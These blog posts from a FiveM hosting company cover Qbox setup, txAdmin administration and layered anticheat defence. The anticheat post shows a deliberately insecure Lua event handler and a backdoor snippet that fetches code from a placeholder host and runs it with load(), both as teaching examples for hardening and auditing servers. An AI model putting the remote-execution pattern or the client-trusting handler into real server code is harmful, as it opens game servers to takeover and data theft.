The file manager unpacks release zips in place, which is how you replace a resource with a newer release without a local copy of the server, and SFTP handles the bulk uploads such as a full `[qbx]` folder. Memory is the plan limit: the full recipe with its phone, map assets and every job is heavier than a cut-down list, so [how much RAM a FiveM server needs](https://www.renode.space/blog/how-much-ram-does-a-fivem-server-need) is worth reading before choosing a tier. If the server reaches the limit it is stopped and restarted clean rather than swapping, so a server that keeps restarting under load is a sizing problem to look at with [resmon and txAdmin's monitor](https://www.renode.space/blog/fivem-server-performance-resmon), not a mystery.

Before updating any Qbox resource, take a backup and export the database. Qbox releases change schemas more readily than QBCore did, and a staging server running a copy of the database - see [staging and production on one account](https://www.renode.space/blog/staging-and-production-on-one-account) - is where the update should meet your resource list first.

#### FAQ

##### Is Qbox compatible with QBCore scripts?

Mostly. The bridge answers to `qb-core` and handles its documented exports and events. Scripts that touch QBCore's tables directly, use the old inventory, or rely on undocumented internals need changes. Test each one rather than assuming.

##### Do I have to use the txAdmin recipe?

No, but it is the fastest way to a known-good starting point. By hand, you need the five core resources from their releases, the SQL from `qbx_core` and each feature resource, `ox.cfg` or equivalent `setr` lines, OneSync on, and the ensure order shown above.

##### Can I remove resources the recipe installed?

Yes. Delete the folder and, if it was named on its own `ensure` line, remove that line. Check nothing else lists it in its manifest's `dependencies` first. Leave the core five alone, and be careful with anything in the character flow - spawn selection and clothing - since removing those shows up as players who cannot finish creating a character.

##### Where do I add a new job?

In `qbx_core/shared/jobs.lua`, as a table entry with its grades, followed by a restart. A job resource then gives it something to do. Players are assigned with `/setjob`, which adds or replaces depending on `qbx:setjob_replaces`.

##### Why does Qbox insist on MariaDB?

Its documentation names MariaDB 10.9 as the minimum and states MySQL is not supported, so its SQL and its support are written against MariaDB. A MySQL server often works in practice, but problems on it are yours to solve.

##### How many players can a Qbox server hold?

That depends on OneSync and your licence tier rather than on Qbox. The framework itself costs very little per tick; the resource list you build on it and the streamed assets decide the hardware.

FiveM servers on RE:NODE have txAdmin available for the Qbox recipe, a database slot with phpMyAdmin sign-in for the schema, SFTP and a file manager that unpacks release zips in place, and backup slots on every plan from 2 GB up. You bring your own Cfx.re licence key, so it stays yours.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### txAdmin guide: admins, restarts, bans and backups

Published 2026-10-15 by RE:NODE Team. https://www.renode.space/blog/txadmin-guide

txAdmin is the web panel built into every FXServer artifact: start the server without `+exec server.cfg`, open port `40120`, enter the PIN printed in the console, and you have a master account that controls the server, its restarts, its player database and its admins. Most servers stop there and use a tenth of it. The parts that decide whether a FiveM community survives its first year are the boring ones: admin accounts with narrow permissions, a restart schedule with warnings, bans that match hardware as well as names, a `txData` folder that is backed up, and a web panel that is not open to the whole internet with a weak password on it.

This guide assumes the server already exists. Getting the licence key, installing FXServer and writing `server.cfg` are covered in [setting up a FiveM server with txAdmin](https://www.renode.space/blog/fivem-server-and-txadmin). Here the subject is txAdmin itself, page by page, with the settings that matter and the mistakes that cost people their ban list.

#### What txAdmin is, and where it sits

txAdmin is not a resource and not a separate program. Since early 2020 it has shipped inside FXServer, and when FXServer starts without a config to execute, it runs txAdmin instead, which then launches FXServer as a child process with your configuration. That arrangement is the whole point: txAdmin sits outside the game server, so it can notice when the server hangs or crashes, kill it and start it again, and keep a record of every player across restarts.

What it does, in one list:

- **Deploys servers** from recipes, including full framework installs with their database.
- **Restarts** the server on a schedule, with in-game warnings, and automatically after a crash or a hang.
- **Keeps a player database** of its own, a file rather than MySQL, with identifiers, play time, notes, warnings and bans.
- **Whitelists** by Discord membership, Discord role, approved licence or admin-only.
- **Runs a Discord bot** with a live status embed and a whitelist command.
- **Shows a live console**, CPU and memory graphs, a tick-time chart and a server activity log.
- **Provides an in-game menu** (`/tx`) for admins: NoClip, teleport, spectate, freeze, heal, vehicle tools, bans and warnings.
- **Edits `server.cfg`** in the browser, with a validator.

It does not replace ACE permissions. A txAdmin admin governs the web panel and the in-game menu; ACE governs in-game commands and resources. The two are separate systems, and [the Discord permissions guide](https://www.renode.space/blog/fivem-discord-permissions-and-whitelist) explains how to connect them.

#### First boot, the PIN and the master account

On first start, txAdmin creates its data folder, binds to TCP `40120`, and prints a four-digit PIN and the address to open:

```text
[txAdmin] Use the PIN below to register:
[txAdmin]     1234
[txAdmin] Open http://203.0.113.10:40120/ in your browser.
```

The PIN is the only thing standing between the world and ownership of your server until an account exists. Anyone who can reach port `40120` and read that PIN can claim the master account, so do the registration straight away rather than leaving a fresh server sitting on the setup screen overnight.

Registration offers two ways in: link your Cfx.re account (the one you use on the forum and keymaster) or create a username and password. Linking Cfx.re is the better choice for the master account, because it also gives txAdmin your FiveM identifier, which the in-game menu needs to recognise you. You can still set a backup password on the account afterwards.

The account created here is the **master**. There is exactly one. It has every permission, it cannot be removed by other admins, and it is the only account that can edit other admins' permissions without holding `all_permissions` or `manage.admins` itself. Treat it like a root password: one person, a strong credential, never shared.

After registration comes the setup wizard. You name the server and choose a deployment type: a popular recipe, a remote recipe URL, a custom recipe pasted in, or existing server data (a `server-data` folder you already have). The exact labels have changed across versions, but those four paths have been stable. For an existing server, point it at the folder and at its `server.cfg`, and txAdmin takes over from there.

##### Lost the master account

If the master's password is lost and no Cfx.re account is linked, the usual recovery is blunt. Stop the server, delete `txData/admins.json` (keep a copy), and start again; txAdmin finds no admins, prints a new PIN, and you register a fresh master. Every other admin account goes with that file, so you recreate them afterwards. Stop the server first: txAdmin holds the admin list in memory and writes it back, so edits to the file while it runs are overwritten. Reports on the Cfx.re forum suggest the behaviour has not been identical in every version, so check the current txAdmin documentation if it does not behave as described.

#### Admins and permissions

Every moderator should have their own txAdmin account. Shared logins destroy the one thing txAdmin is very good at: the action log that says who banned whom, who restarted the server at 21:00 on a Saturday, and who ran a console command.

Admins are created on the Admins page by the master or by anyone holding `manage.admins`. Each account gets a name, optionally a linked Cfx.re and Discord ID, and a set of permissions. The permission IDs as txAdmin stores them:

| Permission | Allows |
| --- | --- |
| `all_permissions` | Everything; overrides the rest |
| `manage.admins` | Create, edit and delete admins |
| `settings.view` | Read settings (tokens hidden) |
| `settings.write` | Change settings |
| `console.view` | Read the live console |
| `console.write` | Send console commands |
| `control.server` | Start, stop and restart |
| `commands.resources` | Start and stop resources |
| `server.cfg.editor` | Read and write `server.cfg` |
| `announcement` | Send announcements |
| `txadmin.log.view` | Read the txAdmin action log |
| `server.log.view` | Read the server activity log |

And the player and menu permissions:

| Permission | Allows |
| --- | --- |
| `players.warn` / `players.kick` | Warn or kick |
| `players.ban` | Ban and unban |
| `players.whitelist` | Approve whitelist requests |
| `players.direct_message` | Message a player |
| `players.spectate` / `players.freeze` | Spectate or freeze |
| `players.teleport` | Teleport self or others |
| `players.heal` | Heal self or everyone |
| `players.playermode` | NoClip, god mode, super jump |
| `players.troll` | The troll menu |
| `players.remove_ids` | Remove IDs or HWIDs from a player |
| `menu.vehicle` | Spawn and fix vehicles |
| `menu.clear_area` | Reset a world area |
| `menu.viewids` | Show player IDs in game |

The permissions are stored in `txData/admins.json`. A sensible split for a roleplay server:

- **Trial moderators**: `players.warn`, `players.kick`, `players.direct_message`, `players.spectate`, `menu.viewids`. Enough to deal with a problem in the moment, not enough to make a permanent one.
- **Moderators**: the above plus `players.ban`, `players.whitelist`, `players.freeze`, `players.teleport`, `players.heal`, `players.playermode`, and `server.log.view` so they can check what happened before acting.
- **Administrators**: the above plus `control.server`, `commands.resources`, `announcement`, `console.view` and `settings.view`.
- **Developers**: `console.view`, `console.write`, `commands.resources`, `server.cfg.editor`. Developers rarely need to ban anybody.

Two permissions deserve caution. `console.write` is effectively full control: the server console can stop resources, change convars and run anything a resource exposes as a command. `server.cfg.editor` can change the licence key, the database connection string and the ACE list, so it can grant in-game permissions to anyone. Give those two to people you would also give the master password to. `players.troll` is fun for about a week and then becomes the subject of a complaint; most serious servers leave it off for everyone.

For the in-game menu to work, the admin's account must have their Discord or Cfx.re identifier linked. Without either, `/tx` does nothing for them, which is the single most common "the menu is broken" report. The general argument for narrow access is the same one made in [subusers and least privilege](https://www.renode.space/blog/subusers-and-least-privilege).

#### Recipes and the deployer

A recipe is a YAML file that tells the deployer how to build a server: what to download, where to put it, which SQL to run and what to write into `server.cfg`. The popular recipes in the setup wizard (cfx-default, ESX, QBCore and others) are maintained in a public repository, and you can write your own for a server you rebuild often.

recipe.yaml:

```yaml
$engine: 3
$minFxVersion: 5181
$onesync: on
name: Longship base
version: 1.0.0
author: Longship staff
description: Default resources plus our own core pack.

tasks:
  - action: download_github
    src: https://github.com/citizenfx/cfx-server-data
    subpath: resources
    dest: ./resources/[cfx-default]
  - action: download_file
    url: https://example.com/longship-core.zip
    path: ./tmp/core.zip
  - action: unzip
    src: ./tmp/core.zip
    dest: ./resources/[core]
  - action: connect_database
  - action: query_database
    file: ./resources/[core]/install.sql
  - action: write_file
    file: ./server.cfg
    data: |
      endpoint_add_tcp "{{serverEndpoints}}"
      endpoint_add_udp "{{serverEndpoints}}"
      sv_maxclients {{maxClients}}
      sv_licenseKey "{{svLicense}}"
      set mysql_connection_string "{{dbConnectionString}}"
      ensure [cfx-default]
      ensure [core]
  - action: remove_path
    path: ./tmp
```

The `$engine`, `$minFxVersion` and build numbers above are illustrative; take the current values from the recipe documentation in the txAdmin repository. The task actions are a fixed set: `download_github`, `download_file`, `unzip`, `move_path`, `copy_path`, `remove_path`, `ensure_dir`, `write_file`, `replace_string`, `connect_database`, `query_database` and `load_vars`. Variables such as `{{svLicense}}`, `{{dbConnectionString}}`, `{{serverEndpoints}}` and `{{maxClients}}` are filled from what you type into the deployer.

Recipes are jailed to the deployment folder, so a recipe cannot overwrite `admins.json` or anything else outside it. That limits the damage, but it does not make a recipe from a stranger safe: it still downloads and runs whatever resources it names, and those run with full server-side access. Read a third-party recipe before deploying it, the same way you would read a resource. A recipe is a starting point, not a framework choice; [the framework comparison](https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox) is the place to decide which one you want.

If a deploy fails halfway, the usual causes are a GitHub rate limit (recipes with many `download_github` tasks should pin a `ref`), a database the deployer cannot reach, or a download link that has moved. The deployer log names the failed task; fix the cause and deploy again into an empty folder.

#### The live console and the server log

The Live Console page is FXServer's own output in the browser, with a command line, history and search. Anything you can type into the FXServer terminal works here: `ensure myresource` to restart one resource, `refresh` to pick up a new resource folder, `status` for the connected players. Every command sent is recorded in the action log against the admin who sent it.

The server log is a different page and a different thing: a timeline of joins, leaves, deaths, chat, explosions and admin actions. When somebody appeals a ban, this is where you find out what happened before the ban, and it is why `server.log.view` is worth giving to moderators who issue bans.

The dashboard's performance chart shows how long the server's main thread takes per tick, bucketed, alongside the player count. It is the fastest way to tell a resource problem from a capacity problem, covered properly in [the resmon and performance guide](https://www.renode.space/blog/fivem-server-performance-resmon). [Reading the console](https://www.renode.space/blog/reading-the-console) covers the general skill of picking the lines that matter out of the noise.

#### Scheduled restarts and crash handling

FXServer and the frameworks on top of it are not built to run for weeks. Memory grows, entity counts drift, and a restart every few hours is ordinary practice on any busy roleplay server. txAdmin's Restarter settings take a list of times in 24-hour `HH:MM` format:

```text
Restart schedule: 06:00, 14:00, 22:00
```

The times are in the host machine's timezone, which on a rented server is often not yours. Check the clock shown on the txAdmin dashboard before trusting a schedule. Before each scheduled restart, txAdmin announces it in game at 30, 15, 10, 5, 4, 3, 2 and 1 minutes, and fires the `txAdmin:events:scheduledRestart` event at the same marks with a `secondsRemaining` value. Frameworks and inventory resources listen for that event and for `txAdmin:events:serverShuttingDown` to save player data before the process ends, which is why a txAdmin restart is safe and a kill from outside is not.

```lua
AddEventHandler('txAdmin:events:scheduledRestart', function(data)
  if data.secondsRemaining == 60 then
    -- one minute left: save everyone now
    TriggerEvent('longship:saveAllPlayers')
  end
end)
```

An admin can skip the next scheduled restart from the dashboard when an event is running long; the skip is announced through `txAdmin:events:scheduledRestartSkipped`. Pick restart times around your peak, not inside it. [Restart schedules that help](https://www.renode.space/blog/restart-schedules-that-help) goes through choosing them.

Crash handling is automatic. If FXServer exits, txAdmin starts it again. If the server stops responding (the main thread blocked, the heartbeat silent), txAdmin kills and restarts it after a timeout. If a server restarts repeatedly on a hang, do not raise the timeout: something is blocking the main thread for seconds at a time, and profiling it is the fix.

> [!WARNING]
> Do not schedule restarts in two places. If txAdmin restarts at 06:00 and your hosting panel also has a power-action schedule at 06:00, the panel restart cuts txAdmin's warnings and save events short. Use one or the other, and prefer txAdmin's for anything that needs player data saved.

On RE:NODE the panel's Schedules tab can run backups and power actions on a cron expression. For FiveM, leave the restarts to txAdmin and use the panel schedule for the nightly backup, timed a few minutes after a txAdmin restart so the database is quiet.

#### Players, warnings and bans

txAdmin records every player who connects, against every identifier the client offers: `license`, `discord`, `fivem`, `steam` (if Steam is running), `live`, `xbl` and the IP. It also records hardware tokens (HWIDs), which are harder to change than any account. The player database is a file inside `txData`, not MySQL, so it works with no database at all and survives a framework change.

Clicking a player opens their record: play time, first and last seen, every identifier, notes left by staff, and the history of warnings and bans. Notes are underrated: "warned verbally about VDM, 14 Oct" in a note stops the same conversation happening four times with four different moderators.

**Warnings** are shown on the player's screen as a full overlay they have to acknowledge, and stored on their record. They are the right tool for a first offence because the player cannot claim they did not see it. If the player is offline, the warning is shown the next time they join.

**Bans** take a reason and a duration: one of the presets, a custom length, or permanent. A ban attaches to the identifiers and, if HWID banning is on in the ban settings, to the hardware tokens as well, so a banned player who makes a new Rockstar and Discord account is still caught. Recent versions let you save ban templates (reason and duration pairs such as "Combat logging, 2 days") so moderators apply the same rule the same way. Each ban gets an action ID that the player sees in the rejection message, and that ID is what they quote in an appeal.

Bans are revoked from the player's record or the history page, and the revocation is logged against the admin who did it. If a ban caught an innocent person who shares a household or hardware with a banned one, `players.remove_ids` lets a senior admin remove a specific identifier or HWID from a record rather than unbanning the original.

txAdmin can also prune its own database: players inactive for a long period, and old warnings, bans and whitelist entries, under the database settings. On a server with tens of thousands of drive-by visitors this keeps the file and the player search fast. Pruning deletes records for good, so take a backup first. For catching cheaters rather than punishing them afterwards, see [FiveM anticheat options](https://www.renode.space/blog/fivem-anticheat-options).

#### Whitelist modes and the Discord bot

The whitelist modes are Disabled, Admin-only, Discord server member, Discord server roles, and Approved license. They live under the player manager settings, and setting them up with Discord roles, including the bot token, the guild ID and the members intent, is covered step by step in [the FiveM Discord whitelist guide](https://www.renode.space/blog/fivem-discord-permissions-and-whitelist). Two points worth adding here:

- **Admin-only is your maintenance switch.** Set it before an update or a database repair; players already connected stay, new ones are told the server is closed. Switch it back afterwards, because it is easy to forget.
- **Approved license** produces a request with a short ID when an unknown player tries to join. Admins with `players.whitelist` approve it on the Whitelist page or through the Discord bot. You can also pre-approve someone before their first join.

The Discord bot does three jobs once its token and guild are set in Settings, Discord Bot. It posts a status embed that updates once a minute with player count, uptime and the next scheduled restart: type `/status add` in the channel where you want it, and give the bot Send Messages permission there. It accepts a whitelist command for approving players from Discord. And it can look up a player's info. The embed's content and its buttons (up to five, usually "Connect" and "Rules") are edited as JSON on the same settings page. txAdmin does not validate that JSON when you save, so if the embed stops updating, check the System Logs page for the error. More on bots in general is in [Discord bots for game server admin](https://www.renode.space/blog/discord-bots-for-game-server-admin).

#### txData: what is in it and how to back it up

Everything txAdmin knows lives in one folder, `txData`, separate from both the artifact and your `server-data`:

```text
txData/
  admins.json          admin accounts and their permissions
  default/             the server profile
    config.json        txAdmin settings (restarter, bot, whitelist...)
    data/              player database, bans, warnings, whitelist
    logs/              txAdmin, server and FXServer logs
```

The exact layout inside the profile folder has changed between major versions, so treat the tree as a guide and look at your own copy. What matters is that the whole folder is one unit: back it up together, restore it together.

Where it lives by default is the detail that loses people their ban lists. Since txAdmin 8, the default is `../txData` relative to FXServer on Windows (beside the artifact folder) and `../../../txData` from the FXServer binary on Linux, which lands inside the extracted artifact folder. If you update on Linux by replacing that folder wholesale, txData goes with it. Either move it and point txAdmin at the new location with the `TXHOST_DATA_PATH` environment variable, or copy it out before every update.

| Setting | Default | Purpose |
| --- | --- | --- |
| `TXHOST_DATA_PATH` | see above | Where `txData` lives |
| `TXHOST_TXA_PORT` | `40120` | txAdmin's web port |
| `TXHOST_INTERFACE` | `0.0.0.0` | Address txAdmin binds to |

These environment variables arrived in txAdmin 8 and replace the older `+set txDataPath`, `+set txAdminPort` and `+set txAdminInterface` launch convars, which still work for now but are deprecated. If both are set, the `TXHOST_` value wins.

A backup that matters has three parts: `txData`, `server-data`, and the database. Take all three before every artifact update, because a newer txAdmin may migrate its data in a way an older one cannot read; [the artifacts guide](https://www.renode.space/blog/fivem-server-updates-artifacts) has the update procedure itself. Stop the server, or at least avoid backing up during a restart, so `config.json` and the player database are not caught mid-write. Then restore one, once, onto a test copy - a backup nobody has restored is a hypothesis, as [backups that actually restore](https://www.renode.space/blog/backups-that-actually-restore) puts it.

On RE:NODE, backups made from the panel cover the whole server's files, `txData` included, are stored off the machine, can be locked so rotation never deletes the pre-update copy, and restore with one button. The database sits in its own slot and needs its own export.

#### Securing the web panel

txAdmin's web interface is plain HTTP on `40120`, and by default it binds to every interface. A web panel that can run console commands is a high-value target, and the internet is full of scanners that know the port number.

- **Use Cfx.re login or long, unique passwords.** txAdmin has no TOTP of its own, so a Cfx.re account with two-factor authentication enabled is the strongest login available for each admin.
- **Restrict the port.** If you control the firewall, allow `40120` only from the addresses your staff use, or bind txAdmin to `127.0.0.1` with `TXHOST_INTERFACE` and reach it through an SSH tunnel. [SSH tunnels and port forwarding](https://www.renode.space/blog/ssh-tunnels-and-port-forwarding) shows the one-line command, and [firewall rules that matter](https://www.renode.space/blog/firewall-rules-that-matter) covers the rest.
- **Put HTTPS in front if it must be public.** A reverse proxy with a certificate stops passwords crossing the network in the clear. [What a reverse proxy does](https://www.renode.space/blog/what-a-reverse-proxy-does) explains the setup.
- **Never move txAdmin to `30120`.** It is refused anyway; the game port is FXServer's.
- **Prune admins.** When a moderator leaves, delete their account the same day. Their Discord role and their ACE group are separate, so remove those as well.
- **Read the action log.** A weekly glance at who ran console commands catches both mistakes and compromised accounts.
- **Keep FXServer current.** txAdmin security fixes ship inside artifacts, so a server three months behind is also three months behind on the panel.

The same thinking applies to the legacy RCON console: leave `rcon_password` unset, because txAdmin does everything it does over a better channel. [Using RCON safely](https://www.renode.space/blog/rcon-safely) gives the general case.

On RE:NODE, FiveM plans come with two port allocations, and more can be added on the Network tab when txAdmin needs a port of its own. The hosting panel's own subusers are a separate layer: give a moderator txAdmin access only, and keep panel access (files, SFTP, backups) for the people who would otherwise need the master account.

#### Troubleshooting

**The PIN never appears.** The server is starting with `+exec server.cfg`, which skips txAdmin entirely. Remove it from the start command. If `txData` already holds an admin, there is no PIN either: txAdmin goes straight to the login page.

**The txAdmin page does not load.** TCP `40120` is not reachable from outside, or txAdmin is bound to `127.0.0.1`. Check the boot message for the address it printed, then test the port from another network.

**The in-game menu does nothing.** The admin account has no Discord or Cfx.re identifier linked, or the identifier does not match the one the client sends. Check the player record for the identifiers they actually connect with.

**Settings and admins vanished after an update.** txAdmin is reading a different, empty `txData`, usually because the artifact folder was replaced on Linux. Restore the folder or point `TXHOST_DATA_PATH` at it.

**Scheduled restarts happen at the wrong hour.** The host's timezone differs from yours. Convert the times to the clock txAdmin shows.

**A banned player is back under a new name.** HWID banning is off, or the player changed hardware. Turn on HWID matching in the ban settings and check their record for overlapping identifiers.

**The Discord embed stopped updating.** The embed JSON is invalid or the bot lost Send Messages permission in that channel. The System Logs page names the error.

#### FAQ

##### What port does txAdmin use?

TCP `40120` by default. Change it with the `TXHOST_TXA_PORT` environment variable in txAdmin 8 and later, or the older `txAdminPort` convar on earlier versions. It cannot share `30120` with the game.

##### How many master accounts can txAdmin have?

One. Other admins can be given `all_permissions`, which grants every action, but the master account is unique and is the one recovery depends on. Keep its credentials with one person and a password manager.

##### Does txAdmin need MySQL?

No. Its player database, bans, warnings and whitelist are stored in files inside `txData`. Your framework still needs its own database; txAdmin does not use it.

##### Are txAdmin bans shared between servers?

Not automatically. Each `txData` profile keeps its own player database, so a ban issued on one server is not seen by another unless you use an external ban system or re-issue it by identifier.

##### Is it safe to give moderators console access?

Read-only console access, `console.view`, is fine for most staff. `console.write` lets someone run any server command, including stopping resources, so give it only to people you would trust with the master account.

##### What happens to players' unsaved data on a txAdmin restart?

txAdmin warns players and fires the restart and shutdown events first, so a framework that listens for them saves everyone. A process killed from outside txAdmin gets no warning, and anything not yet saved is lost.

FiveM servers on RE:NODE run from $9 a month with txAdmin available, two port allocations, a database slot created from the panel, and backup slots on every plan that cover `txData` along with everything else. Backups are stored off the machine, can be locked before an update, and restore with one button.

[See FiveM plans](https://www.renode.space/game-servers/fivem)

---

### FiveM anticheat: what actually works

Published 2026-10-07 by RE:NODE Team. https://www.renode.space/blog/fivem-anticheat-options

Most damage cheaters do to a FiveM server does not need a clever cheat. It needs a server event that trusts whatever the client sends - give me money, give me this item, set my job - and a server that lets clients spawn whatever entities they like. Fix those two things first: set `sv_entityLockdown`, validate every server event on the server, and filter the game events that cheat menus abuse. A paid anticheat is a detection layer on top of that, worth having on a busy public server and worthless on an insecure one. This guide goes through the layers in the order that gives the most protection for the least effort, what each anticheat category can and cannot do, and how to make bans stick.

#### Where cheating actually hurts

It helps to separate what a cheat menu can do on its own from what your server lets it do.

On the client, a cheat can do anything the game can: teleport, fly, see through walls, aim for the player, spawn vehicles and props locally. Some of that only affects the cheater's own screen. Some of it - spawned entities, explosions, attached props - is sent to the server as game events and shown to everybody unless the server refuses it.

On the server, a cheat can only call what your resources expose. Every `RegisterNetEvent` handler is a function any connected client can call with any arguments it likes, at any rate. If a resource has a server event that pays out the reward for a job and checks nothing, a cheater calls it a thousand times and your economy is gone in a minute. No anticheat can fully fix that, because from the server's point of view the call looks exactly like a legitimate one.

| Attack | What lets it work | What stops it |
| --- | --- | --- |
| Spawning vehicles, peds, props | Client entity creation allowed | `sv_entityLockdown` |
| Money and item injection | Server events that trust the client | Server-side validation |
| Explosions, fire, attaching props to players | Game events forwarded unchecked | Game event filters |
| Aimbot, ESP, noclip | Client memory | Client detection: Cfx.re and anticheats |
| Ban evasion with a new account | Bans on one identifier | Bans on many identifiers and tokens |

#### Layer 1: the config lines

These cost nothing and close the widest doors:

server.cfg:

```cfg
set sv_entityLockdown "relaxed"
sv_scriptHookAllowed 0
sv_pureLevel 1
set sv_endpointPrivacy true
```

`sv_entityLockdown` is the most important. It defaults to `inactive`, where any client may create any entity. `relaxed` blocks entities created by client scripts, which is what cheat menus use, while leaving ambient traffic alone. `strict` blocks all client-created entities, so every vehicle must be created by the server. It requires OneSync, and it will break resources that spawn things client-side - which is a list of resources worth updating anyway. [OneSync and player slots](https://www.renode.space/blog/fivem-onesync-and-player-slots) covers the modes and the server-side creation pattern that works under them.

`sv_scriptHookAllowed 0` refuses clients running ScriptHookV menus. `sv_pureLevel` refuses modified game files: `1` blocks most of them, `2` also blocks graphics mods and will turn away innocent players with a visual pack. It is a filter on lazy cheats, not an anticheat. `sv_endpointPrivacy` keeps player IP addresses out of public output, which matters when someone wants to attack a streamer on your server.

Recent server builds also have convars that control which network requests and game features clients may trigger on others, such as `sv_filterRequestControl`, which limits clients taking control of entities owned by other players. The available levels have changed between builds, so read the current Cfx.re documentation before setting one. The rest of the file is in [FiveM server.cfg explained](https://www.renode.space/blog/fivem-server-cfg-explained).

#### Layer 2: server events that check their input

This is where most real damage happens, and where no product can save you. The rule is simple: the server decides what happened, the client only asks.

A typical vulnerable handler:

```lua
-- server side: trusts everything the client sends
RegisterNetEvent("fishing:sell", function(amount, price)
    local xPlayer = ESX.GetPlayerFromId(source)
    xPlayer.addMoney(amount * price)
end)
```

A cheater triggers `fishing:sell` with `amount = 100000`. The same handler written properly:

```lua
local lastSell = {}

RegisterNetEvent("fishing:sell", function()
    local src = source
    local xPlayer = ESX.GetPlayerFromId(src)
    if not xPlayer then return end

    -- rate limit: one sale per 5 seconds per player
    local now = os.time()
    if lastSell[src] and now - lastSell[src] < 5 then return end
    lastSell[src] = now

    -- must be standing at the fish market
    local coords = GetEntityCoords(GetPlayerPed(src))
    if #(coords - vector3(-1845.0, -1195.0, 14.3)) > 10.0 then return end

    -- the server counts the fish and sets the price
    local fish = xPlayer.getInventoryItem("fish").count
    if fish < 1 then return end
    xPlayer.removeInventoryItem("fish", fish)
    xPlayer.addMoney(fish * Config.FishPrice)
end)
```

The principles generalise to every event:

- **Use `source`, never a player ID passed as an argument.** `source` is set by the server and cannot be forged. An argument naming a target player can.
- **Compute amounts on the server.** The client says "I want to sell my fish"; the server counts the fish and knows the price.
- **Check position.** With OneSync, `GetEntityCoords(GetPlayerPed(source))` works on the server. An event that only makes sense at a location should check the player is there.
- **Check state.** Job, on-duty status, item ownership, whether the job step the reward is for was actually started on the server.
- **Rate limit.** Remember when each player last triggered it.
- **Log failures.** A rejected call with impossible arguments is a cheater, and a log line is evidence.

Event "tokens" and randomised event names, sold as protection by some resources, are obfuscation. A cheat that reads the client's memory reads the token too. They raise the effort slightly and do not replace validation.

The work is in auditing resources you did not write. Read every `RegisterNetEvent` on the server side of each resource and ask what happens if a client calls it with nonsense. Framework resources from well-maintained projects are usually fine; the free job script from a forum is where the problems live. [Choosing a framework](https://www.renode.space/blog/fivem-frameworks-esx-qbcore-qbox) covers which ecosystems take this seriously.

#### Layer 3: filtering game events

Some actions are not your resources' events but game events the server forwards between clients: explosions, damage, weapon changes, particle effects, entity creation. FXServer lets server scripts inspect and cancel them.

```lua
-- server side
AddEventHandler("explosionEvent", function(sender, ev)
    -- block every explosion type not caused by normal gameplay you allow
    if not AllowedExplosions[ev.explosionType] then
        CancelEvent()
        print(("blocked explosion type %d from %s"):format(ev.explosionType, sender))
    end
end)

AddEventHandler("entityCreating", function(handle)
    if BlockedModels[GetEntityModel(handle)] then
        CancelEvent()
    end
end)
```

| Event | What it covers |
| --- | --- |
| `explosionEvent` | Explosions, including ones a cheat spawns on other players |
| `entityCreating` | An entity about to be created; cancellable |
| `weaponDamageEvent` | Damage dealt by one player to something |
| `giveWeaponEvent`, `removeWeaponEvent` | Weapons given to or taken from a ped |
| `clearPedTasksEvent` | Tasks cleared on a ped, used to throw players out of cars |
| `ptFxEvent` | Particle effects |
| `startProjectileEvent` | Projectiles fired |

Every one of these has legitimate uses in normal play, so the work is building allow lists rather than blocking the event wholesale. A roleplay server with no explosives job can block most explosion types outright. `giveWeaponEvent` from a client to another player has almost no legitimate use on a framework server where weapons come from the inventory. Log what you block for a week before turning it into kicks, or you will ban your own mechanics job.

#### Layer 4: detection, and choosing an anticheat

Client-side cheats - aimbot, ESP, noclip, menus that only touch the cheater's own game - can only be caught on the client. Cfx.re's client has its own protections and issues global bans for known cheats, which you get for free and cannot configure. Beyond that, the options are:

**Free resource anticheats.** Mostly lists of known cheat event names and blacklisted models, with some server-side checks. Useful as a starting point; easy to bypass because their logic is public.

**Paid anticheats.** Products such as FiveGuard, ElectronAC and WaveShield combine a client component with server-side heuristics, maintained against current cheat menus. The market changes quickly and names come and go, so judge them on these points rather than on reputation alone:

- **False positives.** Ask how detections are reviewed before bans. An anticheat that bans a regular for a lag spike costs you more than a cheater does.
- **Performance.** Measure it with `resmon 1` and the server profiler after installing. Some cost more client frame time than everything else combined. [FiveM server performance](https://www.renode.space/blog/fivem-server-performance-resmon) shows how.
- **Trust.** An anticheat runs with the same rights as every other resource on your server, usually escrowed so you cannot read it. You are trusting the vendor with your database credentials and your players' data.
- **Support and longevity.** A paid product whose author vanishes stops detecting new menus within weeks.

Run one anticheat, not two. Two products hooking the same events fight each other and double the false positives.

#### Layer 5: bans that stick

A ban on one identifier is avoided with a new account. txAdmin records every identifier a player connects with - `license`, `discord`, `steam` when a Steam Web API key is set, `xbl`, `live`, IP - plus the hardware tokens FXServer exposes through `GetPlayerToken`, and its bans match on all of them. Use txAdmin's bans, or an anticheat that feeds into them, rather than a framework's own ban table that only stores a licence.

Two practical points. Keep ban reasons specific and attach evidence (a clip, a log line), because appeals are part of moderation and [server rules, moderation and staff](https://www.renode.space/blog/server-rules-moderation-and-staff) is the side of this that is about people. And restrict who can ban: staff who can ban can also unban their friends. Give moderators the txAdmin permissions they need and no more - the same principle as [subusers and least privilege](https://www.renode.space/blog/subusers-and-least-privilege) on the panel side.

#### The backdoor problem

The most damaging "cheater" on a FiveM server is often already installed. Leaked paid resources - downloaded from sites that redistribute escrowed scripts - routinely carry backdoors: a few lines that fetch code from a remote address and run it with full server rights. The pattern looks like this:

```lua
PerformHttpRequest("https://example.invalid/x", function(_, body)
    load(body)()
end)
```

Search every resource for `PerformHttpRequest` combined with `load`, and for long obfuscated strings in files that have no reason to contain them. A backdoored server can have admin given to strangers, the database dumped, or the licence key stolen, and no anticheat will see it because it is a resource you started yourself. The general method is in [keeping a modded server clean](https://www.renode.space/blog/keeping-a-modded-server-clean), and if you find one, [what to do when your server is hacked](https://www.renode.space/blog/what-to-do-when-your-server-is-hacked) is the order to work in: contain, rotate every credential, restore, then find the door.

#### Logging, evidence and a first-week plan

Protection you cannot see working is protection you will switch off the first time a regular complains. Every layer above should leave a trace you can read later.

- **Log rejected server events.** When a validation check fails, write the player, the event, the arguments and the reason. One line per rejection is enough. A player with three rejected sell events in a minute, each claiming a hundred thousand fish, needs no further investigation.
- **Log blocked game events.** Explosions, entity creations and weapon gives your filters cancelled, with the sender. Read the first week of these before turning any of them into automatic kicks.
- **Send the serious ones somewhere people look.** A Discord channel for staff, fed by a webhook, is the usual choice; [Discord webhooks for server status](https://www.renode.space/blog/discord-webhooks-for-server-status) covers the mechanics. Keep it to the events that need a human, or staff will mute the channel within a week.
